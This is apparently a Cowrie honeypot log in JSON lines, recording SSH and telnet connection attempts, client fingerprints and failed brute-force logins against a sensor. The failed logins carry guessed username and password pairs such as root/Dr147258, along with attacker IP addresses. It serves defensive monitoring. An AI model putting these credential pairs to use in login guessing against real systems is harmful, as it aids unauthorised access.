{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:42.873770Z","src_ip":"45.78.208.179","session":"bd9e060da803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2222","message":"login attempt [admin/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:43.880322Z","src_ip":"45.78.208.179","session":"bd9e060da803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:02:45.127864Z","src_ip":"45.78.208.179","session":"bd9e060da803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":24295,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d0610f4044","protocol":"ssh","message":"New connection: 223.197.186.7:24295 (159.203.135.109:22) [session: 72d0610f4044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:17.505768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:17.510453Z","src_ip":"223.197.186.7","session":"72d0610f4044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:17.735961Z","src_ip":"223.197.186.7","session":"72d0610f4044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123abc","message":"login attempt [ubuntu/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:18.668841Z","src_ip":"223.197.186.7","session":"72d0610f4044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:19.885768Z","src_ip":"223.197.186.7","session":"72d0610f4044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33748,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ec1a0bb52c3","protocol":"ssh","message":"New connection: 159.203.92.129:33748 (159.203.135.109:22) [session: 8ec1a0bb52c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:22.942816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:22.948114Z","src_ip":"159.203.92.129","session":"8ec1a0bb52c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:22.953696Z","src_ip":"159.203.92.129","session":"8ec1a0bb52c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"liverovast#adkz443","message":"login attempt [admin/liverovast#adkz443] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:22.968752Z","src_ip":"159.203.92.129","session":"8ec1a0bb52c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:23.976064Z","src_ip":"159.203.92.129","session":"8ec1a0bb52c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":53632,"dst_ip":"159.203.135.109","dst_port":22,"session":"c689a50617ea","protocol":"ssh","message":"New connection: 103.148.100.146:53632 (159.203.135.109:22) [session: c689a50617ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:40.735308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:40.740360Z","src_ip":"103.148.100.146","session":"c689a50617ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:41.007099Z","src_ip":"103.148.100.146","session":"c689a50617ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dr147258","message":"login attempt [root/Dr147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:42.086823Z","src_ip":"103.148.100.146","session":"c689a50617ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:43.353081Z","src_ip":"103.148.100.146","session":"c689a50617ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":35934,"dst_ip":"159.203.135.109","dst_port":22,"session":"207142aa015f","protocol":"ssh","message":"New connection: 45.78.208.179:35934 (159.203.135.109:22) [session: 207142aa015f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:44.672469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:44.678218Z","src_ip":"45.78.208.179","session":"207142aa015f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:44.921930Z","src_ip":"45.78.208.179","session":"207142aa015f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword1","message":"login attempt [ubuntu/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:45.927981Z","src_ip":"45.78.208.179","session":"207142aa015f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:47.174666Z","src_ip":"45.78.208.179","session":"207142aa015f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.226.52","src_port":34080,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd1031119e8c","protocol":"telnet","message":"New connection: 45.65.226.52:34080 (159.203.135.109:23) [session: fd1031119e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:03:58.454630Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53444,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2ad1fa608b5","protocol":"ssh","message":"New connection: 159.203.92.129:53444 (159.203.135.109:22) [session: b2ad1fa608b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:05.006619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:05.011940Z","src_ip":"159.203.92.129","session":"b2ad1fa608b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:05.019722Z","src_ip":"159.203.92.129","session":"b2ad1fa608b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"manager","message":"login attempt [admin/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:05.034541Z","src_ip":"159.203.92.129","session":"b2ad1fa608b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:06.042954Z","src_ip":"159.203.92.129","session":"b2ad1fa608b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.550691843032837,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:12.005212Z","src_ip":"45.65.226.52","session":"fd1031119e8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":30395,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29d20e449d4","protocol":"ssh","message":"New connection: 223.197.186.7:30395 (159.203.135.109:22) [session: c29d20e449d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:20.693935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:20.699239Z","src_ip":"223.197.186.7","session":"c29d20e449d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:20.921005Z","src_ip":"223.197.186.7","session":"c29d20e449d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwecde","message":"login attempt [root/qwecde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:21.869850Z","src_ip":"223.197.186.7","session":"c29d20e449d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:23.092069Z","src_ip":"223.197.186.7","session":"c29d20e449d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54224,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c4b3f567f2","protocol":"telnet","message":"New connection: 188.166.220.49:54224 (159.203.135.109:23) [session: e7c4b3f567f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:31.736617Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56018,"dst_ip":"159.203.135.109","dst_port":23,"session":"1012615c1198","protocol":"telnet","message":"New connection: 188.166.220.49:56018 (159.203.135.109:23) [session: 1012615c1198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:32.844366Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":59584,"dst_ip":"159.203.135.109","dst_port":23,"session":"09fb63686c42","protocol":"telnet","message":"New connection: 188.166.220.49:59584 (159.203.135.109:23) [session: 09fb63686c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:35.330612Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8697fb7b4ac","protocol":"telnet","message":"New connection: 188.166.220.49:59588 (159.203.135.109:23) [session: c8697fb7b4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:35.339185Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":57502,"dst_ip":"159.203.135.109","dst_port":23,"session":"6361d2fd0966","protocol":"telnet","message":"New connection: 188.166.220.49:57502 (159.203.135.109:23) [session: 6361d2fd0966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:36.999668Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35996,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e84132ae65","protocol":"telnet","message":"New connection: 188.166.220.49:35996 (159.203.135.109:23) [session: 16e84132ae65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:38.791137Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36214,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc849d5d6e3","protocol":"telnet","message":"New connection: 188.166.220.49:36214 (159.203.135.109:23) [session: dbc849d5d6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:38.946476Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":43154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba86f4c55a94","protocol":"ssh","message":"New connection: 103.148.100.146:43154 (159.203.135.109:22) [session: ba86f4c55a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:44.215834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:04:44.220531Z","src_ip":"103.148.100.146","session":"ba86f4c55a94","protocol":"ssh"}
